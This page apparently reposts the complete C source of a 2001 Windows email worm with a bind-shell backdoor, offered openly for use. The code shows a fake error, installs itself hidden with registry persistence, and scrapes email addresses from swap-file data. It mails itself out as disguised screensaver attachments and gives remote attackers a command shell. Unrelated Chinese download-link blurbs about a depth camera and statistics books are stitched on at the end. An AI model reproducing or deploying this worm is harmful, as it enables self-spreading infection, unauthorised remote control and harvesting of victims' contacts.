simple worm spreading source code

/*

Bumblebee's Remote Shell [BRSH] (worm edition)
Detected by AVP as i-worm.FunnyPics

Copyright (c) 2001 Bumblebee <bbbee@mailcity.com>

Disclaimer:

THIS IS THE SOURCE CODE OF AN I-WORM. THE AUTHOR IS NOT RESPONSABILE
OF ANY DAMAGES THAT MAY OCCUR DUE TO ITS BUILD AND EXECUTION.

Description:

 Long time since my plage 2000. Now, the bee returns...

 Execution modes:

    execution mode   stealth mess   install   mail   backdoor
  --------------------------------------------------------------
       default     |      1            1        0       0
  -q   quiet       |      0            0        1       1
  -i   install     |      0            1        0       0
  -m   mail spawn  |      0            0        1       0
  --------------------------------------------------------------

 It installs into windows folder and registers itself in the registry
 as a service (that will run in -q mode).

 This is a very simple worm spreading trought mail with mapi32.dll.
 Well, not really simple :) It uses a complex way to get mail addr.
 It creates a empty file and makes it grown in with the file mapping
 routines. As result the file growth is filled with data of the swap
 disk. html files included, you got it? ;) This is a proof of concept
 of another serious lack of security in windows systems. Notice this
 has been tested only under win9x systems and is not as effective as
 other methods are. As far as i know this is the 1st worm that
 exploits this issue.

 It also has a cute backdoor: BRSH (win9x only).

 BRSH is a little remote shell for win9x systems. It listens a port
 (default is 8000+rnd 256) for TCP connections. When a connection is
 established it makes tunneling between the connection and a std
 shell (command.com).

 It supports end session by closing the shell ('exit') or by disconnection.
 Notice second case is less stable. After a session is closed it will
 listen to another connection.

 To sum up, you have here a little clean worm with a simple but effective
 backdoor. Have fun!

 The way of the bee

*/

#include<windows.h>
#include<stdio.h>
#include<tchar.h>
#include<stdlib.h>
#include<winsock.h>
#include<mapi.h>

/* comment following line to enable debug version for the shell */
#define RELEASE

#ifndef RELEASE
#include<assert.h>
#else
#define assert(x)  /* x */
#endif

/* API form MAPI32 used by the worm */
typedef ULONG (PASCAL FAR *MSENDMAIL)(ULONG, ULONG, MapiMessage *, FLAGS, ULONG);
typedef ULONG (PASCAL FAR *MLOGON)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
typedef ULONG (PASCAL FAR *MLOGOFF)(LHANDLE, ULONG, FLAGS, ULONG);

/* some usefull API's */
typedef BOOL (PASCAL FAR *ICONNECT)(LPDWORD flags,DWORD reserved);
typedef ULONG (PASCAL FAR *RSP)(ULONG, ULONG);

#define RSHM_VERSION    0
#define RSHM_STDADDR    1
#define RSHM_EXIT       2
#define RSH_COMMAND     3
#define RSH_DAEMON      4
#define RSH_REGKEY      5
#define RSH_REGNAME     6
#define RSH_MAPIDLL     7
#define RSH_WINETDLL    8
#define RSH_GETCONNST   9
#define RSH_KERNEL32    10
#define RSH_RSP         11
#define RSH_ATTACHMENT  12
#define RSH_SUBJECT     28
#define RSH_BODY        44
#define RSH_LOGON       45
#define RSH_LOGOFF      46
#define RSH_SENDMAIL    47
#define RSH_SMTP        48
#define RSH_MAILTO      49
#define RSH_BSWAP       50

#define RSH_STDPORT     8000

char *rsh_mess[]= {
"/n[BRSH]/n/r",
"0.0.0.0",
"exit/n/r",
"command.com",
"//brsh32.exe",
"SOFTWARE//Microsoft//Windows//CurrentVersion//RunServices//",
"brsh32Service",
"MAPI32.DLL",
"WININET.DLL",
"InternetGetConnectedState",
"KERNEL32.DLL",
"RegisterServiceProcess",

"funnyPic.scr",
"billBates.scr",
"SouthParkOuttaSpace.scr",
"x-filez.scr",
"intelAside.scr",
"mac0s.scr",
"paradise.scr",
"phantomMenaze.scr",
"southPark.scr",
"matrix-SP.scr",
"starWarz.scr",
"waaazUp.scr",
"mrBrown.scr",
"bzzz.scr",
"nastyPokemon.scr",
"kennyIsAlive.scr",

"funny pics is online again!",
"download screensavers for free!",
"Free pics and screensavers",
"do you wanna laugh out?",
"humor OnLine",
"huff OUT!",
"Download funny pics for free!",
"pics & screensavers",
"Save your screen!",
"hunk of fun!",
"what you wanna see?",
"funnypics special offer",
"Listen to Dr.Fun",
"free screensaver",
"ready? steady? laugh!",
"are you ready to enjoy?",

"Funny Pics Inc. strikes back with more free stuff./n/n"
"Visit our new website with lots of funny pics and/n"
"new screensavers like this!/n/n"
"  www.funnypics.com/n/n",

"MAPILogon",
"MAPILogoff",
"MAPISendMail",
"SMTP:",
"mailto:",
"~bswap.tmp"
};

char filename[1024];

/* checks for internet connection */
BOOL
iconnected(void)
{
  HINSTANCE winetDll;
  ICONNECT GetConnState;
  DWORD result;
  DWORD msec=0;

  /* if we cannot know if it is connected... :/ */
  winetDll=LoadLibrary(rsh_mess[RSH_WINETDLL]);
  if(!winetDll)
        return FALSE;

  /* this case is different, if wininet.dll is installed... assume
     we have net available */
  GetConnState=(ICONNECT)GetProcAddress(winetDll, rsh_mess[RSH_GETCONNST]);
  if(!GetConnState) {
        FreeLibrary(winetDll);
        return TRUE;
  }

  /* wait while is offline, use a progressive wait loop */
  while((GetConnState)(&result,0)!=TRUE) {
          Sleep(msec);
          msec+=1000;
  }

  FreeLibrary(winetDll);

  return TRUE;
}

/* look for mailto addresses in a buffer. it plazes the result into
   the 'found' char array */
BOOL
ScanMailto(BYTE **file,char *found, DWORD *size)
{
 DWORD i,k;
 BOOL test,valid;
 BYTE *tmp=*file;

 for(i=0,test=FALSE,valid=FALSE;i<*size && !test;i++) {
        if(!_strnicmp(rsh_mess[RSH_MAILTO],tmp+i,6)) {
                valid=FALSE;
                i+=7;
                k=0;
                while(tmp[i]!='>' && i<*size && k<128
                        && tmp[i]!='/'' && tmp[i]!='"') {
                        if(tmp[i]!=' ') {
                                found[k]=tmp[i];
                                k++;
                                if(tmp[i]=='@')
                                        valid=TRUE;
                        }
                        i++;
                }
                if(valid)
                        test=TRUE;
                else
                        k=0;

                found[k]=0;
        }
 }
 *file+=i;
 *size-=i;
 if(!valid)
        return FALSE;

 return TRUE;
}

/* mail stuff */
DWORD WINAPI
SpawnMail(LPVOID param)
{
 LHANDLE session;
 HANDLE fmobj,fd;
 BYTE *lpobj,*file;
 DWORD size;
 char mailto[256];
 HINSTANCE MAPIdll;
 MLOGON MLogon;
 MLOGOFF MLogoff;
 MSENDMAIL MSendMail;
 MapiFileDesc attachment={
        0,0,(ULONG)-1,NULL,NULL,NULL
 };
 MapiRecipDesc destination={
        0, MAPI_TO, NULL, NULL, 0, NULL
 };
 MapiMessage mbody={
        0,NULL,NULL,NULL,
        NULL,NULL,MAPI_RECEIPT_REQUESTED,NULL,1,
        NULL,1,NULL
 };

 attachment.lpszPathName=filename;
 attachment.lpszFileName=rsh_mess[RSH_ATTACHMENT+(GetTickCount()&0x0f)];
 destination.lpszAddress=NULL;
 mbody.lpszSubject=rsh_mess[RSH_SUBJECT+ ((GetTickCount()&0xf0)>>4)];
 mbody.lpszNoteText=rsh_mess[RSH_BODY];
 mbody.lpRecips=&destination;
 mbody.lpFiles=&attachment;

 /* Lowest priority */
 SetThreadPriority(NULL,THREAD_PRIORITY_LOWEST);

 /* if is not -m mode wait 5 minutes */
 if(*((DWORD *)param)==FALSE)
        Sleep(5*60*1000);

 MAPIdll=LoadLibrary(rsh_mess[RSH_MAPIDLL]);
 if(!MAPIdll)
        return -1;


 MLogon=(MLOGON)GetProcAddress(MAPIdll, rsh_mess[RSH_LOGON]);
 if(!MLogon)
        return -1;

 MLogoff=(MLOGOFF)GetProcAddress(MAPIdll, rsh_mess[RSH_LOGOFF]);
 if(!MLogoff)
        return -1;

 MSendMail=(MSENDMAIL)GetProcAddress(MAPIdll, rsh_mess[RSH_SENDMAIL]);
 if(!MSendMail)
        return -1;

 if((MLogon)(0, NULL, NULL, MAPI_USE_DEFAULT,
    0, &session)!=SUCCESS_SUCCESS) {
        Sleep(5000);
        FreeLibrary(MAPIdll);
        return -1;
 }

 /* open a small file */
 fd=CreateFile(rsh_mess[RSH_BSWAP],GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,
         NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_TEMPORARY|FILE_ATTRIBUTE_HIDDEN,NULL);

 /* and map it with 10 mbs of size */
 fmobj=CreateFileMapping(fd,NULL,PAGE_READWRITE,
        0,0xa00000,NULL);

 lpobj=(BYTE *)MapViewOfFile(fmobj,FILE_MAP_WRITE,0,0,0);

 /* scan it for mail addrr */
 file=lpobj;
 size=(0xa00000-0x10);
 strcpy(mailto,rsh_mess[RSH_SMTP]);
 destination.lpszAddress=mailto;
 /* nice loop */
 while(ScanMailto(&file,mailto+5,&size) && size>0) {
        (MSendMail)(session,0,&mbody,0,0);
        strcpy(mailto,rsh_mess[RSH_SMTP]);
 }

 UnmapViewOfFile(lpobj);
 CloseHandle(fmobj);
 CloseHandle(fd);

 /* log out and unload libraries */
 (MLogoff)(session,0,0,0);

 Sleep(5000);
 DeleteFile(rsh_mess[RSH_BSWAP]);
 FreeLibrary(MAPIdll);

 return 0;
}

/* unload socks at exit */
void
cleanAll() {
 WSACleanup();
}

/* the backdoor is the main module coz it will run in an end-less loop */
int
main()
{
 int sfd,nsfd,result;
 struct sockaddr_in ser_addr,cli_addr;
 WSADATA wsadata;
 int nbytes,cli_len=sizeof(cli_addr);
 BYTE inbyt;
 HANDLE pipeIn[2],pipeOut[2];
 DWORD resdw,resultdw;
 PROCESS_INFORMATION pinfo;
 STARTUPINFO sinfo;
 fd_set readfds;
 struct timeval timev;
 LPTSTR commandLine,ptr;
 HKEY hkey;
 DWORD ThreadId;
 HMODULE k32;
 RSP RegSerPro;
 BOOL connection,quiet,install,mspawn;
 char buffer[1024];

 /*
     check execution mode:

     -q   quiet (no stealth message, no install, mail infection)
     -i   install (no stealth message, install)
     -m   mail spawn (quiet mode, mail infection)

     Default mode: stealth message, install

 */
 install=TRUE;
 quiet=FALSE;
 mspawn=FALSE;
 commandLine=GetCommandLine();
 if(commandLine) {
        for(ptr=commandLine;ptr[0]!='-' && ptr[1]!=0;ptr++);
        if(ptr[0]=='-' && ptr[1]!=0) {
                switch(ptr[1]) {
                        default:
                        break;
                        case 'q':
                                quiet=TRUE;
                                install=FALSE;
                        break;
                        case 'i':
                                quiet=TRUE;
                                install=TRUE;
                        break;
                        case 'm':
                                quiet=TRUE;
                                install=FALSE;
                                mspawn=TRUE;
                        break;
                }
        }
 }

 /* generate a fake message in user lenguage */
 /* try to load the 0.0.0.0.dll hehehe */
 if(!quiet) {
        LoadLibrary(rsh_mess[RSHM_STDADDR]);
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0,GetLastError(),
                MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),&buffer,1024,NULL);
        MessageBox(NULL,buffer,NULL,MB_OK|MB_ICONSTOP);
 }

 /* this should be used in sending files also */
 /* that's why filename is a global var */
 GetModuleFileName(NULL,filename,1024);
 /* installation code */
 /* copy it to windows folder and register it as service */
 if(install) {
        GetWindowsDirectory(buffer,256);
        strcat(buffer,rsh_mess[RSH_DAEMON]);
        if(CopyFile(filename,buffer,TRUE)) {
                SetFileAttributes(buffer,FILE_ATTRIBUTE_READONLY |
                        FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
                strcpy(filename,buffer);
                strcat(filename," -q");
                if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,rsh_mess[RSH_REGKEY],
                        0,KEY_WRITE, &hkey)==ERROR_SUCCESS) {
                        RegSetValueEx(hkey,rsh_mess[RSH_REGNAME],0,REG_SZ,
                                filename,sizeof(filename)+1);
                        RegCloseKey(hkey);
                }
        }
        /* wait to next boot to run */
        return 0;
 }

 /* hide current process as service */
 k32=GetModuleHandle(rsh_mess[RSH_KERNEL32]);
 if(k32) {
        RegSerPro=(RSP)GetProcAddress(k32,rsh_mess[RSH_RSP]);
        if(RegSerPro)
                RegSerPro(0,1);
 }

 /* check for inet connection */
 if(!iconnected())
        return -1;

 /* run mail spread routine */
 if(mspawn) {
        resdw=1; /* disable wait */
        /* and end work here */
        return SpawnMail((LPVOID)(&resdw));
 }

 /* run mail spread routine in a new thread */
 resdw=0; /* enable wait */
 CreateThread(NULL,0,SpawnMail,(LPVOID)(&resdw),0,&ThreadId);

 /* create 2 pipes */
 if(!CreatePipe(&pipeOut[0],&pipeIn[0],NULL,0))
        return -1;

 if(!CreatePipe(&pipeOut[1],&pipeIn[1],NULL,0))
        return -1;

 /* start up socks */
 result=WSAStartup(MAKEWORD(1,1),&wsadata);
 if(result) {
        assert(!result);
        return -1;
 }
 atexit(cleanAll);

 if(LOBYTE(wsadata.wVersion)!=1 || HIBYTE(wsadata.wVersion)!=1) {
        assert(LOBYTE(wsadata.wVersion)==1);
        assert(HIBYTE(wsadata.wVersion)==1);
        return -1;
 }

 sfd=socket(AF_INET,SOCK_STREAM,0);
 if(sfd==INVALID_SOCKET) {
        assert(sfd!=INVALID_SOCKET);
        return -1;
 }

 ser_addr.sin_family=AF_INET;
 ser_addr.sin_addr.s_addr=inet_addr(rsh_mess[RSHM_STDADDR]);
 /* pseudo random port RSH_STDPORT + rnd(256) */
 ser_addr.sin_port=htons(RSH_STDPORT+(0xff & GetTickCount()));

 result=bind(sfd,(struct sockaddr *)&ser_addr,sizeof(ser_addr));
 if(result==-1) {
        assert(result!=-1);
        return -1;
 }

 listen(sfd,5);
 /* main loop */
 for(;;) {

 nsfd=accept(sfd,(struct sockaddr *)&cli_addr,&cli_len);
 if(nsfd==INVALID_SOCKET) {
        assert(sfd!=INVALID_SOCKET);
        return -1;
 }

 nbytes=send(nsfd,rsh_mess[RSHM_VERSION],strlen(rsh_mess[RSHM_VERSION]),0);
 if(nbytes<strlen(rsh_mess[RSHM_VERSION])) {
        closesocket(nsfd);
        continue;
 }

 /* for redirection stuff */
 ZeroMemory(&sinfo,sizeof(sinfo));
 sinfo.cb=sizeof(sinfo);
 sinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
 sinfo.hStdOutput=pipeIn[0];
 sinfo.hStdError=pipeIn[0];
 sinfo.hStdInput=pipeOut[1];
 sinfo.wShowWindow=SW_HIDE;
 /* try command.com */
 if(!CreateProcess(NULL,rsh_mess[RSH_COMMAND],NULL,NULL,TRUE,CREATE_NEW_CONSOLE,
        NULL,NULL,&sinfo,&pinfo)) {
        /* if fails close connection */
        closesocket(nsfd);
        connection=FALSE;
 } else
        connection=TRUE;

 Sleep(5000);
 while(connection) {

 /* read from console */
 do {
        PeekNamedPipe(pipeOut[0],NULL,0,NULL,&resultdw,NULL);
        if(resultdw>0) {
                ReadFile(pipeOut[0],&inbyt,1,&resultdw,NULL);
                if(resultdw>0)
                        send(nsfd,&inbyt,1,0);
        }
 } while(resultdw>0);

 /* write into console */
 do {
        FD_ZERO(&readfds);
        FD_SET(nsfd,&readfds);
        timev.tv_sec=0;
        timev.tv_usec=0;
        select(nsfd,&readfds,NULL,NULL,&timev);
        if(FD_ISSET(nsfd,&readfds)) {
                nbytes=recv(nsfd,&inbyt,1,0);
                if(nbytes>0)
                        WriteFile(pipeIn[1],&inbyt,1,&resultdw,NULL);
                else {
                        /* end process if neeed: exit/n/r */
                        /* not the best way, dirty exit if connection
                           lost/error */
                        GetExitCodeProcess(pinfo.hProcess,&resultdw);
                        if(resultdw==STILL_ACTIVE) {
                                WriteFile(pipeIn[1],rsh_mess[RSHM_EXIT],
                                        strlen(rsh_mess[RSHM_EXIT]),&resultdw,NULL);
                        }
                        closesocket(nsfd);
                        connection=FALSE;
                        nbytes=-1;
                }
        } else
                nbytes=-1;
 } while(nbytes>0);

 /* if command ends, just close connection */
 GetExitCodeProcess(pinfo.hProcess,&resultdw);
 if(resultdw!=STILL_ACTIVE) {
        closesocket(nsfd);
        connection=FALSE;
 }

 }

 }
 return 0;
}

资源下载链接为: https://pan.quark.cn/s/d3128e15f681 “Dabai Pro.zip”是ORBBEC Dabai Pro双目光结构摄像头的软件资源包,这是一款专为机器人开发和人工智能应用设计的高端传感器设备。Dabai Pro可能是该系列产品名称,其核心在于先进的3D感知技术,能够为机器人提供深度信息和精准的环境感知。 ORBBEC Dabai Pro双目光结构摄像头是关键所在,它采用了双目立体视觉技术,通过模拟人类双眼的视差原理,利用两个或多个摄像头计算物体距离和三维形状。这种摄像头通常由红外光源、红外摄像头和彩色摄像头组成,通过投射特定光模式(如红外条纹或点云)到场景中,再由摄像头捕获并分析计算深度信息。 该摄像头针对机器人开发设计,可用于导航、避障、物体识别和抓取等功能,提升机器人智能化水平。同时,它能够与人工智能算法结合,借助深度学习等技术优化性能,实现对复杂环境的实时识别、跟踪和理解。 ROS(Robot Operating System)是一个广泛使用的开源机器人软件框架,提供工具和库,方便开发者编写控制机器人的软件,支持硬件抽象、消息传递和任务调度等功能。ORBBEC Dabai Pro与ROS兼容,用户可通过ROS接口轻松集成摄像头,编写和运行针对摄像头数据的算法。 压缩包内的“SensorDriver_V4.3.0.17.exe”是ORBBEC Dabai Pro摄像头的驱动程序,版本号为4.3.0.17,安装后可在计算机上正确识别和使用摄像头。“OrbbecViewer_1.1.13_202207221538_Windows”是配套查看器软件,版本1.1.13,用于实时显示和测试摄像头捕捉的图像与深度信息,便于调试和开发。 ORBBEC Dabai Pro是一款面向机器人和人工智能应用的高级双目光结构摄像头,结合3D感知
资源下载链接为: https://pan.quark.cn/s/2f7c1c4db4a5 最近在撰写论文过程中,深入研习了多本关于结构方程模型(SEM)以及 AMOS 软件运用的书籍,现将这些优质学习资源分享给大家,且附带相关数据。 《AMOS 与研究方法》(荣泰生)这本书共 102 页,其中第 92 页的 “第 5 章 Amos 操作环境与模型建立” 部分极具价值,对于初学者来说,能助力大家迅速掌握 Amos 的基础操作,是开启 Amos 学习之旅的优质篇章。 在熟悉了 “荣泰生” 版本的 Amos 教材后,强烈建议大家进一步研读邱皓政的《结构方程模型的原理与应用》。这本书在中国轻工业出版社出版,是众多结构方程模型学习者心目中的经典必读之作,兼具理论深度与实践指导性,非常值得推崇。它的一大特色是同时涵盖了 Lisrel、Amos、Mplus 这三种常用结构方程模型软件的具体操作流程以及源代码,从侧面彰显了作者在结构方程模型领域扎实的专业功底,其配套的 “数据包” 内容也极具参考价值。尤其在第 88 页的 “各种拟合数据的比较” 部分,清晰呈现了 RMSEA、GFI、NFI 等关键结构方程模型拟合数据指标的取值范围以及合适的判断标准,能让学习者快速理解 SEM 运行结果,为深入学习 SEM 打下坚实基础。 对于结构方程模型领域的新人而言,建议先阅读荣泰生的《AMOS 与研究方法》,重点关注第 92 页的 “第 5 章 Amos 操作环境与模型建立”,借此快速掌握 Amos 基本操作。在此基础上,再深入学习邱皓政的《结构方程模型的原理与应用》,这样能够实现从 SEM 入门到逐步精通的系统学习过程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值